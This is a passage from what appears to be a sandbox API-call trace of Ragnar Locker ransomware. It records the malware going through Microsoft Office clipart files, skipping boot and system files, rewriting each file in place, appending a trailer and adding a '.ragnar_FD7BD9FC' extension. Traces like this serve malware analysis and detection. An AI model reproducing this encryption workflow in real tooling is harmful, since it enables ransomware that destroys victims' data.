lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01759_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01759_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0082.628] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b938600, ftCreationTime.dwHighDateTime=0x1bd4bf0, ftLastAccessTime.dwLowDateTime=0x538951f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b938600, ftLastWriteTime.dwHighDateTime=0x1bd4bf0, nFileSizeHigh=0x0, nFileSizeLow=0xa38, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH01875_.WMF", cAlternateFileName="")) returned 1 [0082.628] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0082.628] lstrcpyW (in: lpString1=0x1eb62e, lpString2="HH01875_.WMF" | out: lpString1="HH01875_.WMF") returned="HH01875_.WMF" [0082.628] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01875_.WMF") returned=".WMF" [0082.628] lstrcmpiW (lpString1="HH01875_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0082.628] lstrcmpiW (lpString1="HH01875_.WMF", lpString2="autorun.inf") returned 1 [0082.628] lstrcmpiW (lpString1="HH01875_.WMF", lpString2="boot.ini") returned 1 [0082.629] lstrcmpiW (lpString1="HH01875_.WMF", lpString2="bootfont.bin") returned 1 [0082.629] lstrcmpiW (lpString1="HH01875_.WMF", lpString2="bootsect.bak") returned 1 [0082.629] lstrcmpiW (lpString1="HH01875_.WMF", lpString2="bootmgr") returned 1 [0082.629] lstrcmpiW (lpString1="HH01875_.WMF", lpString2="bootmgr.efi") returned 1 [0082.629] lstrcmpiW (lpString1="HH01875_.WMF", lpString2="bootmgfw.efi") returned 1 [0082.629] lstrcmpiW (lpString1="HH01875_.WMF", lpString2="desktop.ini") returned 1 [0082.629] lstrcmpiW (lpString1="HH01875_.WMF", lpString2="iconcache.db") returned -1 [0082.629] lstrcmpiW (lpString1="HH01875_.WMF", lpString2="ntldr") returned -1 [0082.629] lstrcmpiW (lpString1="HH01875_.WMF", lpString2="ntuser.dat") returned -1 [0082.629] lstrcmpiW (lpString1="HH01875_.WMF", lpString2="ntuser.dat.log") returned -1 [0082.629] lstrcmpiW (lpString1="HH01875_.WMF", lpString2="ntuser.ini") returned -1 [0082.629] lstrcmpiW (lpString1="HH01875_.WMF", lpString2="thumbs.db") returned -1 [0082.629] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0082.629] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0082.629] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0082.629] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0082.629] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0082.629] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0082.629] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0082.629] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01875_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01875_.wmf")) returned 0x20 [0082.629] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01875_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01875_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0082.629] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=2616) returned 1 [0082.629] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xa2f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.629] GetProcessHeap () returned 0x580000 [0082.630] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0082.630] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0082.631] VirtualAlloc (lpAddress=0x0, dwSize=0xa38, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0082.631] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.631] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0082.631] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xa38, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xa38, lpOverlapped=0x0) returned 1 [0082.631] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0082.631] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xa38, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.631] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xa38, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xa38, lpOverlapped=0x0) returned 1 [0082.632] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xa38, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.632] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0082.632] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xa38, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.632] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.632] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.632] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.632] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0082.632] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.632] GetProcessHeap () returned 0x580000 [0082.632] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0082.632] CloseHandle (hObject=0xf4) returned 1 [0082.632] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01875_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01875_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01875_.WMF" [0082.632] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01875_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01875_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01875_.WMF.ragnar_FD7BD9FC" [0082.632] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01875_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01875_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01875_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01875_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0082.633] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71426a00, ftCreationTime.dwHighDateTime=0x1bd4c04, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x71426a00, ftLastWriteTime.dwHighDateTime=0x1bd4c04, nFileSizeHigh=0x0, nFileSizeLow=0x6852, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH01923_.WMF", cAlternateFileName="")) returned 1 [0082.633] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0082.633] lstrcpyW (in: lpString1=0x1eb62e, lpString2="HH01923_.WMF" | out: lpString1="HH01923_.WMF") returned="HH01923_.WMF" [0082.633] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01923_.WMF") returned=".WMF" [0082.633] lstrcmpiW (lpString1="HH01923_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0082.633] lstrcmpiW (lpString1="HH01923_.WMF", lpString2="autorun.inf") returned 1 [0082.633] lstrcmpiW (lpString1="HH01923_.WMF", lpString2="boot.ini") returned 1 [0082.633] lstrcmpiW (lpString1="HH01923_.WMF", lpString2="bootfont.bin") returned 1 [0082.633] lstrcmpiW (lpString1="HH01923_.WMF", lpString2="bootsect.bak") returned 1 [0082.633] lstrcmpiW (lpString1="HH01923_.WMF", lpString2="bootmgr") returned 1 [0082.633] lstrcmpiW (lpString1="HH01923_.WMF", lpString2="bootmgr.efi") returned 1 [0082.633] lstrcmpiW (lpString1="HH01923_.WMF", lpString2="bootmgfw.efi") returned 1 [0082.633] lstrcmpiW (lpString1="HH01923_.WMF", lpString2="desktop.ini") returned 1 [0082.633] lstrcmpiW (lpString1="HH01923_.WMF", lpString2="iconcache.db") returned -1 [0082.633] lstrcmpiW (lpString1="HH01923_.WMF", lpString2="ntldr") returned -1 [0082.633] lstrcmpiW (lpString1="HH01923_.WMF", lpString2="ntuser.dat") returned -1 [0082.633] lstrcmpiW (lpString1="HH01923_.WMF", lpString2="ntuser.dat.log") returned -1 [0082.633] lstrcmpiW (lpString1="HH01923_.WMF", lpString2="ntuser.ini") returned -1 [0082.633] lstrcmpiW (lpString1="HH01923_.WMF", lpString2="thumbs.db") returned -1 [0082.633] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0082.633] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0082.633] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0082.633] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0082.634] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0082.634] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0082.634] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0082.634] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01923_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01923_.wmf")) returned 0x20 [0082.634] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01923_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01923_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0082.634] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=26706) returned 1 [0082.634] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x6849, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.634] GetProcessHeap () returned 0x580000 [0082.634] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0082.634] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0082.635] VirtualAlloc (lpAddress=0x0, dwSize=0x6852, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0082.636] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.636] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0082.636] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x6852, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x6852, lpOverlapped=0x0) returned 1 [0082.637] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0082.637] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x6852, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.637] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x6852, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x6852, lpOverlapped=0x0) returned 1 [0082.637] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x6852, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.637] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0082.638] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x6852, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.638] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.638] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.638] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.638] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0082.638] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.638] GetProcessHeap () returned 0x580000 [0082.638] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0082.638] CloseHandle (hObject=0xf4) returned 1 [0082.638] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01923_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01923_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01923_.WMF" [0082.638] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01923_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01923_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01923_.WMF.ragnar_FD7BD9FC" [0082.638] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01923_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01923_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01923_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01923_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0082.639] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa90, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH02155_.WMF", cAlternateFileName="")) returned 1 [0082.639] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0082.639] lstrcpyW (in: lpString1=0x1eb62e, lpString2="HH02155_.WMF" | out: lpString1="HH02155_.WMF") returned="HH02155_.WMF" [0082.639] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02155_.WMF") returned=".WMF" [0082.639] lstrcmpiW (lpString1="HH02155_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0082.639] lstrcmpiW (lpString1="HH02155_.WMF", lpString2="autorun.inf") returned 1 [0082.639] lstrcmpiW (lpString1="HH02155_.WMF", lpString2="boot.ini") returned 1 [0082.639] lstrcmpiW (lpString1="HH02155_.WMF", lpString2="bootfont.bin") returned 1 [0082.639] lstrcmpiW (lpString1="HH02155_.WMF", lpString2="bootsect.bak") returned 1 [0082.639] lstrcmpiW (lpString1="HH02155_.WMF", lpString2="bootmgr") returned 1 [0082.639] lstrcmpiW (lpString1="HH02155_.WMF", lpString2="bootmgr.efi") returned 1 [0082.639] lstrcmpiW (lpString1="HH02155_.WMF", lpString2="bootmgfw.efi") returned 1 [0082.639] lstrcmpiW (lpString1="HH02155_.WMF", lpString2="desktop.ini") returned 1 [0082.639] lstrcmpiW (lpString1="HH02155_.WMF", lpString2="iconcache.db") returned -1 [0082.639] lstrcmpiW (lpString1="HH02155_.WMF", lpString2="ntldr") returned -1 [0082.639] lstrcmpiW (lpString1="HH02155_.WMF", lpString2="ntuser.dat") returned -1 [0082.639] lstrcmpiW (lpString1="HH02155_.WMF", lpString2="ntuser.dat.log") returned -1 [0082.639] lstrcmpiW (lpString1="HH02155_.WMF", lpString2="ntuser.ini") returned -1 [0082.639] lstrcmpiW (lpString1="HH02155_.WMF", lpString2="thumbs.db") returned -1 [0082.639] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0082.639] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0082.639] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0082.639] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0082.639] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0082.639] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0082.639] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0082.639] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02155_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02155_.wmf")) returned 0x20 [0082.640] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02155_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02155_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0082.640] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=2704) returned 1 [0082.640] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xa87, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.640] GetProcessHeap () returned 0x580000 [0082.640] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0082.640] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0082.642] VirtualAlloc (lpAddress=0x0, dwSize=0xa90, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0082.642] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.642] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0082.642] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xa90, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xa90, lpOverlapped=0x0) returned 1 [0082.642] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0082.642] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xa90, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.642] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xa90, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xa90, lpOverlapped=0x0) returned 1 [0082.642] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xa90, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.642] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0082.643] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xa90, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.643] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.643] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.643] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.643] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0082.643] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.643] GetProcessHeap () returned 0x580000 [0082.643] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0082.643] CloseHandle (hObject=0xf4) returned 1 [0082.643] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02155_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02155_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02155_.WMF" [0082.643] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02155_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02155_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02155_.WMF.ragnar_FD7BD9FC" [0082.643] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02155_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02155_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02155_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02155_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0082.644] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b48ba00, ftCreationTime.dwHighDateTime=0x1bd4bf3, ftLastAccessTime.dwLowDateTime=0x538951f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b48ba00, ftLastWriteTime.dwHighDateTime=0x1bd4bf3, nFileSizeHigh=0x0, nFileSizeLow=0x52c, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH02166_.WMF", cAlternateFileName="")) returned 1 [0082.644] GetFullPathNameW (in: 